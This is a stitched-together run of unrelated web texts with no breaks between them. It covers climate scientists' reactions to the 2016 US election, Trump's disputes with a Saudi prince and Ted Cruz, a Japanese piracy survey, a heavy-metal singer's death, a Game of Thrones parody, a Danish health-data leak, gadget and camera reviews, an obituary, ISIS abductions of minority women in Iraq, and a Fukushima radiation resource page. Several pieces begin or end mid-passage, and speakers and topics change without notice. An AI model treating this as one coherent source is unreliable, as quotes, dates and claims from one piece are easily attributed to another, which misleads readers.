“In spite of this grave eventuality of no climate action from the new US federal government on the horizon, there is still hope that global greenhouse gas emissions can be reduced. Technological developments can be triggered by transformative coalitions, smaller groups of countries that actively support a technology, to eventually achieve global scale. We have seen this model work for renewable energy. The renewable energy agenda was initially supported by a few pro-active countries such as Germany, which brought the costs down to the extent that renewable technologies are now the ‘new normal’ for new power plants in many places in the world. Similar developments can be seen with electric mobility where Norway, California and, in particular, China are aggressively supporting electric cars. It is fair to believe that these would also become the ‘new normal’ in a few years time.”
Prof Jim Skea, professor of sustainable energy at Imperial College London and co-chair of IPCC Working Group 3:
“IPCC is a scientific body with 195 countries making up its membership so I don’t expect it to make any pronouncement on political developments. But as a scientist involved in IPCC, I can say that US scientists have made a huge contribution to climate science in general and IPCC in particular across all the assessment reports. This is something that the US can be very proud of. It’s far too early to tell how the next administration will approach these issues. In my experience there has been a remarkable consistency in the US approach to IPCC across different administrations. And, again, with much practical climate action in the US taking place at the city and state level, it’s too early to say how things will pan out in the policy domain.”
Prof Katherine Hayhoe, atmospheric scientist and associate professor of political science at Texas Tech University:
“The bright light of hope the Paris Agreement shone on the bleak and discouraging landscape of climate change has been dimmed but not extinguished.”
Zeke Hausfather, energy systems analyst and environmental economist at Berkeley Earth:
“It’s certainly a major setback for progress on combating climate change. While the U.S. has a lot of institutional checks and balances that can hopefully moderate the impact of a Trump presidency, it means the end of the Clean Power Plan and a big roadblock to achieving the aggressive reductions needed for a 2 C warming world. The only silver lining is that structural factors in the energy sector will likely favor the continued decline of coal (and rise of gas/renewables) for electricity generation in the U.S., though it will happen more slowly. I certainly expect to be talking a lot more about geoengineering and overshoot scenarios now than I did a few days ago.”
Dr Bill Hare, founder and CEO of Climate Analytics:
“That President-Elect Trump has appointed a leading climate denier into the driving seat of his US EPA transition team sends a powerful signal about his attitude to climate science when in government. But it will not be so easy to unwind the building momentum on climate action globally, and even within his own country.
“This action is driven by four main forces, none of which President-Elect Trump can control. First, there is a revolution underway in the energy sector with massive drops in the cost of renewable energy, and battery storage and the accelerating take-up of electric vehicles has undercut the economic basis of the fossil fuel interests that have been supporting climate denialism in the United States for years.”
“Secondly, the world is not ruled by one country, and major geopolitical actors including China, India and the European Union are pressing ahead with climate action, and they are starting to change the game, in the face of public pressure. Thirdly the science of climate change is clear and incontrovertible, and its impacts are stampeding into the lives of people all over the planet, from Miami to Mumbai to Manila as sea levels rise, tropical storms escalate in power and heat extremes take hold, and these will not be stopped by government-led denialism. Lastly, people everywhere are increasingly concerned about climate action and about the inadequate action taken by politicians to deal with the problem.”
Prof Piers Forster, professor of physical climate change and director of the Priestley International Centre for Climate at the University of Leeds:
“I would offer a word of caution. What he said to get elected may not be what he does. I think we need to redouble our efforts to show that climate change is science fact not a belief and proactively addressing it needs international collaboration. It also makes sound economic and business sense. My American colleagues I spoke to are typically optimistic and tell me we have to get on and make the best of it.”
Prof Ken Calderia, atmospheric scientist at the Carnegie Institution for Science:
“Today is a day of mourning for good governance and our democratic institutions. Worrying about climate change is a luxury for those who don’t have more immediate problems. We will be fortunate indeed if Trump is not so much of a disaster that climate change can still be a primary concern.
“Trump has advanced a divisive racist, sexist, and xenophobic agenda. He has proposed debt-spending and protectionist policies that could seriously damage our economy. He has advocated the use of torture and the killing of families of suspected terrorists. He has said that he does not want the US to abide by its treaty obligations. If, after his efforts to act on his words, we are in a good enough shape that climate change still seems like one of our most pressing issues, Trump will have damaged our country and the world far less than I anticipate.”
Dr Glen Peters, senior researcher at the Centre for International for Climate and Environmental Research Oslo (CICERO):
“The US has just given the rest of the world a brilliant opportunity to shine. I am not convinced that any country need the US to lead them, nor that they drive the global economy anymore. The US “loss” could be the rest of the worlds gain.
“In terms of climate, the US is responsible for 15% of global emissions. The Paris Agreement will cover 100%. In any given year, there will be administrations in some countries that drag their feet on climate. If the US drags its feet on climate in the next four years, then there is nothing stopping the rest of the world doing an awful lot.
A Saudi prince has described US businessman Donald Trump, a candidate for the Republican presidential nomination, as a "disgrace to America".
Prince Alwaleed bin Talal said on Twitter that Mr Trump should give up his presidential ambitions because he would never win.
It follows Mr Trump's call for Muslims to be barred from entering the US for security reasons.
Mr Trump tweeted back, calling the prince "dopey".
Who is Prince Alwaleed?
Born in 1955
Nephew of King Salman bin Abdulaziz al-Saud
Completed a business degree in California in 1979
Named world's richest Arab in Forbes' 2015 list
Worth an estimated $32bn (£20bn)
Has vowed to donate fortune to charity
Has stakes in Disney, 21st Century Fox, News Corp, Apple, GM, Twitter, and a string of hotel chains and luxury hotels, including the Plaza in New York and the George V in Paris
Owner of 95% of Kingdom Holdings, a publicly-traded company on the Saudi stock exchange
Considered Westernised and progressive on most issues. Champions women's rights - most of his staff are women
"You are a disgrace not only to the GOP [Republican Party] but to all America," Prince Alwaleed tweeted.
"Withdraw from the US presidential race as you will never win."
Mr Trump responded by accusing the prince of wanting to use what he called "daddy's money" to control US politicians.
That would not happen, Mr Trump said, when he got elected.
Image copyright Twitter Image caption Mr Trump tweeted Prince Alwaleed back within hours
Mr Trump, the frontrunner for the 2016 Republican presidential nomination, has been widely criticised for his call for a ban on Muslims entering the US.
On Thursday, Damac Properties - a Dubai firm building a golf complex with Mr Trump - removed his name and image from the property.
Donald Trump listens as Sen. Ted Cruz of Texas speaks at Thursday's Republican presidential candidate debate. (Wilfredo Lee/AP)
BALLWIN, Mo. — Sen. Ted Cruz (Tex.) said he will support Donald Trump if he is the Republican nominee for president, despite stating that the businessman’s campaign “affirmatively encourages violence” and “disrespects voters.”
“My answer is the same. I committed at the outset. I will support the Republican nominee, whoever it is,” Cruz said.
Earlier in the day, Sen. Marco Rubio (Fla.), another GOP presidential contender, said he was not sure if he could back Trump as the nominee if the front-runner’s rhetoric remained the same. And Ohio Gov. John Kasich, another Republican contender, said Trump had created a “toxic environment,” but hedged on whether he would support Trump as the nominee.
When pressed how he could support a campaign that encourages “nasty discord,” the Texas Republican didn’t answer, but instead he made a broader appeal for civility.
“I am encouraging every candidate and every campaign to appeal to our better angels. It is a choice that every candidate makes,” Cruz said. “I understand people are angry. Listen, I’m angry. We’re angry at politicians who’ve lied to us. Who don’t tell us the truth.”
In the wake of a Friday night rally in Chicago that was canceled amid clashes between Trump supporters and protesters, Cruz said the Republican candidate encourages violence. He said the situation was “sad” and placed blame on the protesters and Trump.
Following the cancellation of a Chicago campaign rally for Republican presidential candidate Donald Trump, Republican rival Sen. Ted Cruz (R-Tx.) said responsibility starts at the top. (Reuters)
“I think it is also true that any campaign, responsibility begins and ends at the top. And it is my hope that all of us can appeal to civility. All of us can carry a message of unity that brings people together rather than seeking to divide, rather than seeking to inflame hatred, we should be bringing people together,” he said. “Far more unifies us than tears us apart.”
Cruz excoriated protesters, stating that demonstrators from the Bernie Sanders campaign and Black Lives Matter movement incite violence. Trump made similar accusations Saturday.
“It’s sad, number one, that you have protesters that resort to violence, that resort to threats of violence that resort to yelling and screaming and disruption to silence speech that they don’t like,” he said.
CODA is an association of major Japanese contents holders and copyright-related organizations established in 2002 to cooperate to reduce piracy of Japanese contents around the world. Based on the request from the Economy, Trade and Industry Ministry of Japan, CODA conducted the survey with its 33 member companies.
The estimated total damage amount was calculated from the companies' revenues of their Japanese contents
that were officially licensed overseas. The potential damage on the titles that were not licensed is not included.
On the sales basis, the amount of the total sales in 2014 was 399.4 billion yen (3.5 billion US dollars) and the
total damage was 934.8 billion yen (8.25 billion US dollars).
CODA says in the report, "We are looking to expand our efforts to implement effective measures against copyright
infringement in foreign counties and to establish environment for the legitimate products' distribution routes."
Source: CODA (The Content Overseas Distribution Association)
Dave Brockie, who fronted the heavy metal band Gwar using the stage name Oderus Urungus, has been found dead in his Richmond, Va., home. He was 50.
According to band manager Jack Flanagan, one of Brockie's bandmates found him Sunday evening. Richmond police spokeswoman Dionne Waugh says officers received a report of a dead person at the home shortly before 7 p.m.
"It is with a saddened heart that I confirm my dear friend Dave Brockie, artist, musician and lead singer of Gwar passed away," Flanagan said in a statement released Monday. According to Flanagan, Brockie's next of kin has been notified and Richmond authorities plan to conduct a full autopsy. "My main focus right now is to look after my bandmates and his family. More information regarding his death shall be released as the details are confirmed."
Speaking to Richmond newspaper Style Weekly, which first reported Brockie's death Sunday night, former Gwar bassist Mike Bishop called Brockie "one of the funniest, smartest, most creative and energetic persons I've known. He was brash sometimes, always crass, irreverent, he was hilarious in every way. But he was also deeply intelligent and interested in life, history, politics and art."
Gwar, noted for its outlandishly grotesque costumes and intentionally offensive material, released its latest album, Battle Maximus, in September. Other albums include 1990's Scumdogs of the Universe, 2004's War Party and 2010's Bloody Pit of Horror.
Gwar has been nominated for Grammys twice during its 30-year career, receiving a best long-form music video nomination for Phallus in Wonderland in 1992 and a best metal performance nod in 1995 for S.F.W.
The group recently had announced its sixth annual Gwar-B-Q for Aug. 16 at Hadad's Lake near Richmond.
It's not the first death for the band. Guitarist Cory Smoot was found dead on the group's tour bus in 2011. The band subsequently retired his character, Flattus Maximus.
But Thrones producers are missing a golden opportunity since so many of the actual cast members are already accomplished musicians. If they won't do it, we will. Yahoo TV, in association with Game of Tones Entertainment, would like to present the ultimate fantasy band.
The Rolling Thrones are currently on tour with their signature Country and Westeros sound. They're led by the scruffy but charismatic Bronn, whose smooth tenor doesn't quite match his sell-sword exterior. Though no longer a bachelor, tales of his exploits with groupies are legendary.
Lead guitarists Daario Naharis and Jorah Mormont are great individually, but it's only a matter of time before clashing egos backstage force one of them to leave the band entirely. Rumors that the friction is a result of a fight for the affections of rhythm guitarist Daenerys Targaryen are unconfirmed but wouldn't be surprising; her magnetic stage presence marks her as the probable breakout star of the group.
The band features a multinational group of backing vocalists: Astaporean Grey Worm (whose castration has gifted him with a glorious contralto range), Northerner Ramsay Bolton, and Asshaian priestess Melisandre (who also designs pyrotechnics for the stage show).
The accordion of wildling Osha lends a distinct north-of-the-Wall vibe to the band's sound, and the beatboxing of Bran Stark, along with his manservant Hodor's electronic beats, brings a unique hip-hop element seldom heard in Westeros.
Bronn (Jerome Flynn)
Nobody's first thought when they see the winningly cutthroat Bronn is "He belongs in a British pop duo like Wham! or Jedward." And yet in the '90s, Flynn was half of Robson & Jerome, whose covers of "Unchained Melody," "I Believe," and "What Becomes of the Brokenhearted" all topped the U.K. charts and set young girls' hearts aflutter. He's still setting hearts aflutter, but that's usually because he's stuck a knife into them.
Daenerys Targaryen (Emilia Clarke)
There's no pleasing some people. As Clarke told the Wall Street Journal, a drunk man accosted her once, "And he said, 'Please, Mother of Dragons, sing me 'Happy Birthday.'" She did, and he repaid the kindness by badmouthing her work on Thrones. "It's impossible to please everyone." If you missed her Broadway debut in Breakfast at Tiffany's, you can hear the Mother of Dragons on the Dom Hemingway soundtrack.
Daario Naharis (Michiel Huisman)
Though Huisman's voice is best known stateside from his work on Nashville, he sounds much more exotic in his native Dutch. Daario has already attracted Daenerys with his swordplay; maybe if he breaks out a guitar, he can win her heart?
Ser Jorah Mormont (Iain Glen)
In 2015, the Danish State Serum Institute (SSI) sent a package to Statistics Denmark containing two CDs with the ID numbers and health information of 5,282,616 people who lived in Denmark between 2010-2012. According to Datatilsynet, the package was sent by registered mail and was mistakenly "delivered to the Chinese Visa Application Centre."
Statistics Denmark claimed that, by the time the package reached them, it had already been opened. The Data Protection Agency wrote, "The CDs contained information on personal [ID] numbers and health information, but not names or addresses. The CDs were not encrypted." Datatilsynet also criticized SSI for releasing sensitive information in an unencrypted format.
SSI responded saying, "We are talking about sensitive personal data of a very extensive character and it cannot be ruled out that it could have had concrete consequences for the affected individuals if the information had actually reached unauthorized individuals." They claim they are under the "perception" that the data "neither reached other people nor was seen by other people."
SSI claimed they were contacted by a Chinese Visa Application Centre employee who accepted responsibility for opening the package "by mistake." They said they have "not found reason to doubt" her story.
© AP Photo / Jens Dresling Refugees Choose Copenhagen Over Cash Offers to Depart Denmark
Denmark’s CPR number system has been criticized for not being fortified against identity theft and hacking, and this isn’t the first time Danish citizens have had their private information exposed.
In 2014 over 900,000 ID numbers were released online, available for an hour before being removed. At least 18 companies collected the information for marketing purposes, and later had to prove that they had deleted it.
Two weeks prior, former police officer and “hacktivist” Lars Kragh Andersen was arrested for releasing the social security numbers of Defence Minister Nicolai Wammenin and Prime Minister Helle Thorning-Schmidt, as part of a digital protest against online surveillance.
© AP Photo / Jens Dresling/POLFOTO Denmark Maintains Increased Terror Threat Level Amid Nice Attack
The story, to me, contains elements of the J.R.R. Tolkien Lord of the Rings trilogy and the J.K. Rowling Harry Potter series. It is quite an adventure and can keep you up all night thirsting for that rush one gets when reading a great story. I had initially thought that this book would wear me down with its too familiar characters but it eventually became a favorite when by the middle of the book, there was a death, there was feminist themes, and there were some original devices that Lord of the Rings and Harry Potter did not have. I think this book will work well with high school bookworms as well as adults who are into YA fiction. There is zero romance in this book but a scrumptious ladle of food references that could make you want to drown yourself in the book with the characters and feast on their soups and their wine as if their actual ingredients were not too exotic and out of the ordinary.
While Google continues to list the Nexus 7 LTE as coming soon in the United States, its exact release date remains unknown. At the Nexus 7 launch, the company said that it would be arriving in the coming weeks but since late July, the company has stayed silent about a possible date for the AT&T, T-Mobile and Verizon compatible LTE model. That doesn’t mean that we haven’t seen release dates emerge for other nation’s though.
Several weeks ago, Asus Italy confirmed the Nexus 7 LTE release date for September, saying that it would be arriving at some point next month. Today, it appears that the Nexus 7 LTE has been confirmed for Japan for September, though, a specific date remains out of reach. The device looks like it will work with three of the top carriers in Japan including DoCoMo and Softbank.
The Nexus 7 Wi-Fi will be hitting Japan on August 28th, just about a month after the device landed in the United States. The United States is still missing its Nexus 7 LTE release date despite having had the Nexus 7 Wi-Fi on shelves since July. It’s unclear when Google plans to announce availability though the U.S. is likely to get it either before or around the same time as these other countries.
In the United States, the Nexus 7 will come in one 32GB model that costs $350. The device will work with AT&T, T-Mobile and Verizon giving users a choice between three of the nation’s five largest carriers.
Just a short time ago, Google issued a fix for the new Nexus 7 that included remedies for the GPS and touchscreen issues that have been plaguing some users of the new tablet since launch. The fix should help to make the device even more attractive than it once was.
She entered the Marianites of Holy Cross September 4, 1937, pronounced her first vows August 11, 1939 and her perpetual vows on August 11, 1943. She was involved in elementary and high school teaching and administration in New Orleans, Houma, Lake Charles, and Eunice. She also taught French at Our Lady of Holy Cross College in New Orleans and traveled to France with students as she was very involved in the CODOFIL program (Council for the Development of French in Louisiana).
Since 2005, she had been a well loved resident at Our Lady of Prompt Succor Nursing Home in Opelousas. She enjoyed speaking French with the other residents and the visitors and charmed many with her stories.
Visit the Main Obituary Page
Read Sr. Mary Philip Schexnayder's full obituary
Visit Sr. Mary Philip Schexnayder's guest book
Read today's obituaries from The Times-Picayune
Boston Phoenix reporter David Bernstein, live-tweeting the courtroom proceedings, wrote that there was no objection from Romney to unsealing the testimony:
Romney attorney Robert Jones said in an interview with Time magazine “this is a decades-old divorce case in which Mitt Romney provided testimony as to the value of a company. He has no objection to letting the public see that testimony.” Tom Sternberg is opposing the release of the testimony, which pertained to the valuation of the couple’s Staples stock.
CBS Boston’s Bree Sison tweeted during the proceedings that Judge Ulwick said the testimony had been destroyed; Allred then presented two volumes of transcipts.
Nikon FM2 Video Review
Why choose an FM2? (or FM2n)
This camera body is all you need in a great 35mm general purpose SLR camera. It will do everything. The camera is light, tough, accurate and fast. To be 100% comfortable with the camera you will need an understanding of how to manually focus and expose an image.
The beauty of a fully mechanical camera is that all you need is a roll of film. Aside from the meter, you do not need a battery to take photos. You wind to advance the film, this loads the shutter system then “click” that energy is let go and the image is captured.
This means that you put a film into the camera, thus fixing your ISO. Next, you determine the aperture or shutter speed that you need to achieve the look you desire. Then, alter the setting that you have not chosen until the meter indicates a correct exposure.
Camera Features
They are one of the most durable, fully mechanical, cameras on the market. Designed to be self-lubricating, you can expect to do very little maintenance. This means that buying a used one will often result in a great product. It has a honeycomb titanium shutter design that is as solid as it sounds!
Compatible with the Nikon F lens mount. If you look on eBay you can see thousands of these lenses available for sale. Therefore you can experiment with many different focal lengths for almost no cost. Full frame quality images at such a low cost.
This camera has a dedicated Double Exposure setting. It disconnects the film advance and the shutter cocking mechanism. This makes it a great camera for both high-quality images and a bit of creative experimentation.
It uses a centre weighted meter. Therefore you need to be careful. If you have a very bright subject in the centre of the image it will tend to expose for that which will result in very dark surroundings. I tend to find that erring on the over-exposure side of things (in this situation) yields better results.
However, this camera is not for street photography. If you are looking solely for a street photography camera then I always recommend looking at rangefinders. Manually focusing on a moving subject with an SLR is difficult. If you want a general “do it all” kind of camera then this Nikon is where I would recommend you spend your money.
Finally, you are able to pick up a used Nikon FM2 for around £200. Often with a lens or two included. Lenses are cheap and plentiful so you are never going to get bored with experimenting.
FM2 Specifications
Fully Mechanical
Titanium Shutter
Centre Weighted Light Meter
Shutter Speeds 1s – 1/4000s
Flash Sync 1/250s
Compatable with all AF/MF Lenses since 1958
Made from 1978 – 1983
For recommendations on beginner film cameras and what to look for when purchasing an old film camera, check out my full article here.
FM2 vs. FM2n
There are very few differences between the two models. The flash sync speed was increased from 1/200 of a second to 1/250 of a second. The hotshoe was re-designed (purely for looks). Finally, the mirror box was updated to add a light trap. Wikipedia has a full explanation of this but it’s pretty wordy.
TLDR: Not much changed, they are basically the same.
A double exposure was taken on the camera. One underexposed photo of me and one of the sunset. To learn how to take double exposures on all types of cameras see our guide linked above.
Why shoot film in 2018?
I have been shooting a lot of videos and digital photography of late. This isn’t a problem for me, but I tend to find that about once every two months I lack the drive to take photos. The cure for me has always been to disconnect the end result from the process. This allows your brain to relax when shooting and fall into the moment rather than getting the shot. Shooting film is the only way that ensures I can’t cheat! To learn how you can overcome a creative drought, see this film here.
Don’t get me wrong, I would never go back to shooting film professionally. You will have to pry my 5D (or my future equivalent) from my cold dead hands. Analogue photography always allows me to fall back in love with the art of photography. The art of creation, outside of the digital realm.
If you’re ever in a creative rut then I highly recommend giving it a try.
Broadstairs UK
Broadstairs is a coastal town on the Isle of Thanet, in Kent, England. It is about 130 km east of London. If you are living in London, there is a fast train from Stratford International Station that will have you on the beach in around 1 hour 25min.
If you have any questions around locations or how/why I did certain things, contact me using any of the social channels below. Or, just use the comment section after the pictures.
When you arrive it is a short 5 min walk to the beach, past the shopping district that includes a few hidden treasures. The thought-to-be-extinct video store made an appearance, as did a small magic shop. It turns out all their patrons are yet to disappear.
As the high street winds to a close, you pass Dickens’ house. An ode to the authour, as Broadstairs was his favourite holiday destination. It is here that you are greeted by the first of seven impressive golden sandy bays. This view is one to soak in.
Viking Bay is the main beach, featuring azure blue water, dark golden sand and many pastel coloured storage sheds. Each of which alone (or combined) make an amazing location for photography.
From here you can take a coastal walk south around the remaining 6 sandy bays. Remember to check the tidal times as you can become cut off and are then forced to get very wet feet! The walk is an absolute must!
Best times to visit Broadstairs:
June: Dickens Festival (A week of costumes plays and beach time)
Mid-August: Broadstairs Folk Week (Music and gardens)
October: Broadstairs Food Festival (self explanatory)
“ISIS took them,” he told Fox News in the holy Iraqi city of Karbala, where they are displaced. “Later, I saw my children on an ISIS website. For three years... my daughters lived with the ISIS boys.”
Adele, now 18, was rescued amid the fall of Mosul on June 30, 2017, and Salma, 15, was found alive in August 2017 after the Tel Afar offensive. His wife and oldest daughter, Salah, who would be 20 now, have yet to come home.
Abbas’ deep sorrow for his fractured family and fear of living in shame is palpable. He and his family are Turkmen, Iraq’s third-largest ethnic group after Arabs and Kurds, yet their plight of slavery has been largely underreported. Abbas is one of very few in his community speaking out.
While much of the world has looked on in horror as tales of Yazidi girls and women emerge -- held captive as ISIS sex slaves -- numerous Iraqi officials tell Fox News that the tragedy has likely afflicted females belonging to other minorities, too. And even though numerous girls are still missing, many in these communities do not want it to be documented.
“640 of our girls -- some younger than 12 -- are missing by ISIS. But we aren’t talking about it,” Fawzi Akram, a former Iraqi Parliament member representing the Turkmen and now a prominent aid and community leader, lamented. “We are very conservative. If our wife or sister was raped, we cannot talk about it.”
What is worse, Akram said, is that families are so deeply ashamed that they often don’t want their abducted girls to come back for fear they were violated. If they do escape and return, they face being honor killed.
“I am telling the families that the girls are not guilty, they have suffered and the families must forgive them and take care of them according to the human rights,” he said.
Iraqi Turkmen share close cultural and linguistic connections to Turkey, and identify with either Shiite or Sunni Muslim traditions.
“Many girls won’t return,” Hasan Turan, an Iraqi Parliment member for the Turkmen Front party, said. “Many girls were held as slaves... I can only hope families accept them if they return. They are the victims. They have been attacked.”
TWO YEARS IN HELL: ISIS SEX SLAVE REUNITED WITH CHILDREN, FAMILY
And the scale of the sexual violence extends far broader than many Iraqis previously documented. The minority Shabak - who reside mostly in villages east of Mosul, their faith and rituals centered on Christian, Yazidi and Islamic adherences - are also suffering in silence.
Hunien Kaddo, an Iraqi Parliment member and representative to the Shabak community, which numbers fewer than 35,000 in Iraq, told Fox News that the females in his minority were also swept into the sexual brutality.
Kaddo said they had received information and eye witness accounts that at least 28 Shabak women were raped, gasoline poured on them in cages and subsequently set alight in Mosul throughout the ISIS reign in a clear case of religious persecution.
Adding to the nightmare, as the Mosul liberation gained steam late last year and Iraqi forces also started to further advance on surrounding areas ISIS kidnapped a further 59 Shabak women and children before being run out of the villages in December, he said.
“I have been visiting displaced and devastated families in recent weeks,” Kaddo said. “They’re daughters are missing. Sadly, there is a lot of shame.”
ESCAPE FROM ISIS: YAZIDI WOMAN RECOUNTS LIFE AS A SEX SLAVE
He also pointed out that several Christian females remain unaccounted for.
“People won’t say much about it as they are petrified what will happen to them,” concurred Canon Andrew White, known as the Vicar of Baghdad.
According to a Kurdistan Regional Government representative in the country’s north, unlike that of the Yazidi community, other affected minorities have not come forward for help.
“The Yazidis came to us and they needed our help and we helped pay for rescues,” explained the spokesperson. “But many in these other groups stayed quiet. They didn’t want help.”
Vian Dakhil, the female representative for Yazidis in the Iraqi Parliament, told Fox News that 2,900 of their women and children remain unaccounted for even after the almost-complete ISIS liberation. But they will wait in the hopes they come home. They also will tell the world what has happened to their girls as the long-standing cultural tradition of shame begins to wane.
On 11 March 2011 the Japanese experienced the worst earthquake in their history, followed by a devastating tsunami. These natural disasters have had a serious impact on several Japanese nuclear reactors, principally those at the Fukushima Daiichi site. The Health Physics Society (HPS) is concerned about radiation exposures associated with these reactor problems and desires to keep our members and the concerned public advised on current events associated with the Japanese nuclear plants.
The Health Physics Society (HPS) convened a panel of leading scientific experts on radiation safety at the National Press Club in Washington, DC, on 1 March 2012 for the benefit of invited media personnel. The name of the program was "Risks and Effects of Radiation: Putting Fukushima in Context." Read more here.
In 2013, two years after the accident, HPS Web Operations published Radiation and Risk: Expert Perspectives on this website, a compilation of papers on topics including natural radiation, medical applications of radiation, effects of natural and man-made radiation on the environment, safety controls of nuclear energy production, risk communication, and the regulatory implications of radiation safety.
Table of Contents
DOD Operation Tomodachi Registry
Fukushima Nuclear Accident Independent Investigation Commission Report
"Fukushima Daiichi: ANS Committee Report"
Fukushima Decontamination
NRC Task Force Review of Insights From Fukushima
June 2011 Japanese Government Report to IAEA
Fukushima Release of Radiation and Potential Health Effects
Presentation on the Fukushima Accident
HPS Information for Radiation Questions
Recommended Sources of Useful Information
Background Information on Nuclear Power
U.S. Department of Energy Radiation Monitoring Data
American Nuclear Society Fukushima Links
IRSN of France Report on External Doses and Outcome of Population Evacuation Measures
Fukushima Documents Released by the Japanese Ministry of Economy, Trade, and Industry (METI)
ASME Report on Fukushima and Nuclear Safety in the Future
IAEA Report: The Fukushima Daiichi Accident
Reflections on the Fukushima Daiichi Nuclear Accident: Toward Social-Scientific Literacy and Engineering Resilience
DOD Operation Tomodachi Registry
The Department of Defense (DOD) began establishing the Operation Tomodachi Registry following the devastating 11 March 2011 earthquake and tsunami in Japan. These unfortunate events caused severe damage to the Fukushima Daiichi Nuclear Power Station, which resulted in the release of radiation into the environment. This registry will include the names of nearly 70,000 DOD-affiliated individuals who were on or near the mainland of Japan during the period from 12 March 2011 to 11 May 2011, along with radiation-exposure estimates for each of these individuals.
TOC
Fukushima Nuclear Accident Independent Investigation Commission Report
The Fukushima Nuclear Accident Independent Investigation Commission has issued its report. The commission was appointed by the Japanese Diet. An English-language version of the executive summary of the report can be found on the Web Archiving Project website.
TOC
Fukushima Daiichi: ANS Committee Report
"Fukushima Daiichi: ANS Committee Report" has been published by the American Nuclear Society (ANS) Special Committee on Fukushima. As stated in the report: "The Committee was charged to provide a clear and concise explanation of the accident events, health physics, and accident cleanup, as well as safety-related issues that emerged. The Committee also evaluated actions that ANS should consider to better communicate with the public during a nuclear event."
TOC
Fukushima Decontamination
In "As Fukushima Cleanup Begins, Long-Term Impacts Are Weighed," Winifred Bird reports on the decontamination efforts in the areas surrounding Fukushima. Health Physics Society members Kathryn Higley and John Till were interviewed for the report.
TOC
NRC Task Force Review of Insights From Fukushima
The U.S. Nuclear Regulatory Commission (NRC) released "Recommendations for Enhancing Reactor Safety in the 21st Century: The Near-Term Task Force Review of Insights from the Fukushima Dai-ichi Accident." The Near-Term Task Force was established in response to Commission direction to conduct a systematic and methodical review of NRC processes and regulations to determine whether the agency should make additional improvements to its regulatory system and to make recommendations to the Commission for its policy direction, in light of the accident at the Fukushima Daiichi Nuclear Power Plant.
TOC
June 2011 Japanese Government Report to IAEA
The Japanese Government released "Report of Japanese Government to the IAEA Ministerial Conference on Nuclear Safety: The Accident at TEPCO's Fukushima Nuclear Power Stations." This preliminary accident report was prepared for the 20–24 June 2011 International Atomic Energy Agency Ministerial Conference on Nuclear Safety and, as stated in its introduction, "represents a summary of the evaluation of the accident and the lessons learned to date based on the facts gleaned about the situation obtained so far."
TOC
Fukushima Release of Radiation and Potential Health Effects
The emotional trauma of the devastating events in Japan is overwhelming. While the members of the Health Physics Society can only offer our condolences for those who have lost loved ones and our support for those still looking for loved ones, we can help put minds at ease regarding the radiation from the Japanese reactors that has been detected in the United States.
Radioactivity has been detected in nearly every state, whether it be in rain water, in the air, or in milk. We understand that the fear that arises from hearing about radioactivity being found nearby can cause increased stress and, sometimes, an overwhelming sense of loss of control. This is why it is important for you to know that the amount of radioactivity being detected in the United States is of no concern; we can drink the milk, eat food out of our gardens, and drink water from our faucets.
As for foods that may be imported from Japan, there are three safety nets in place so you can feel safe eating what you buy at the grocery store. The first safety net is the ban on importing food from within Japan's evacuation zone (within about 20 kilometers of the nuclear reactors), the second safety net is Japan's monitoring of other foods prior to leaving Japan, and the third safety net is the United States Department of Agriculture, which monitors and inspects our imported food.
It is important to stay informed about the radiation levels that are being detected so you can make the best decisions for your family. With this in mind, we will continue to update our website with new information regarding the Fukushima reactors.
We will also continue to follow results from the radionuclide-sampling stations throughout the country used by the Environmental Protection Agency (you can look at them at https://www.epa.gov/enviro/radnet-overview) and the monitoring network by the 104 operating nuclear power facilities (monitoring air, water, milk, and foods) to be able to provide you with up-to-date information.
Other helpful links:
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Presentation on the Fukushima Accident
Areva's "The Fukushima Daiichi Incident" is available.
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HPS Information for Radiation Questions
As the world continues to focus on events at the Fukushima Daiichi nuclear plant site, many people are inquiring about the releases of radioactivity and the potential health effects from radiation that plant workers and the surrounding populations may be experiencing. We have seen reported radiation levels in the vicinity of the plant that are quite significant. The HPS has identified the following list of authoritative resources on this website that you can consult for answers to such questions:
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Recommended Sources of Useful Information
The Health Physics Society recommends the following sources of useful information. Although we cannot verify the accuracy of all the information that you may find, we believe these sources are generally reliable and trustworthy. As events unfold and the potential radiation exposures become better known, we hope to be able to share additional information with you regarding radiation safety.
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Background Information on Nuclear Power
For background and an overview of nuclear power, see our seven-part series "The Resurgence of Nuclear Power: Impact on the Health Physics Profession," reprinted from Health Physics News.
Dick Toohey's "Nuclear Power and Public Health Measures in Nuclear Plant Emergencies" also provides useful information.
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U.S. Department of Energy Radiation Monitoring Data
The U.S. Department of Energy has released data recorded from its Aerial Monitoring System as well as ground detectors deployed in Japan. That data has been collected, analyzed, and posted on the Department of Energy's website at www.energy.gov/japan2011.
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American Nuclear Society Fukushima Links
The American Nuclear Society (ANS) Special Committee on Nuclear Non-Proliferation has prepared the technical brief "The Impact of Mixed Oxide Fuel Use on Accident Consequences at Fukushima Daiichi."
Additionally, ANS has prepared and posted a useful Q&A on health effects due to the accident (http://www.ans.org/misc/FukushimaRadiationQ&A_LS.pdf).
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IRSN of France Report on External Doses and Outcome of Population Evacuation Measures
The Institut de Radioprotections et de Sûreté Nucléaire (IRSN) has published "Assessment on the 66th Day of Projected External Doses for Populations Living in the North-West Fallout Zone of the Fukushima Nuclear Accident: Outcome of Population Evacuation Measures." According to the IRSN, "The purpose of this report is to provide insight on all radiological assessments performed to our knowledge to date and the impact of population evacuation measures to be taken to minimize the medium and long-term risks of developing leukaemia or other radiation-induced cancers."
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Fukushima Documents Released by the Japanese Ministry of Economy, Trade, and Industry (METI)
Nuclear Emergency Response Headquarters
Related Information
Reference: TEPCO Release Documents
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ASME Report on Fukushima and Nuclear Safety in the Future
An American Society of Mechanical Engineers (ASME) Task Force released recommendations for a new nuclear safety construct in June 2012. It reaches beyond the traditional regulatory framework of adequate protection of public health and safety to minimize sociopolitical and economic consequences caused by radioactive releases from accidents.
The March 2011 earthquake and tsunami that hit Japan, causing the accident at Fukushima Daiichi, exposed potential vulnerabilities of nuclear power plants to extreme events. ASME President Victoria A. Rockwell commissioned a Presidential Task Force to review the events, examine the global implications, and make recommendations on ASME's role in addressing issues and lessons learned. Read the report here.
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IAEA Report: The Fukushima Daiichi Accident
The International Atomic Energy Agency (IAEA) has publicly released The Fukushima Daiichi Accident Report by the Director General along with five technical volumes on this topic by international experts.
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Reflections on the Fukushima Daiichi Nuclear Accident: Toward Social-Scientific Literacy and Engineering Resilience
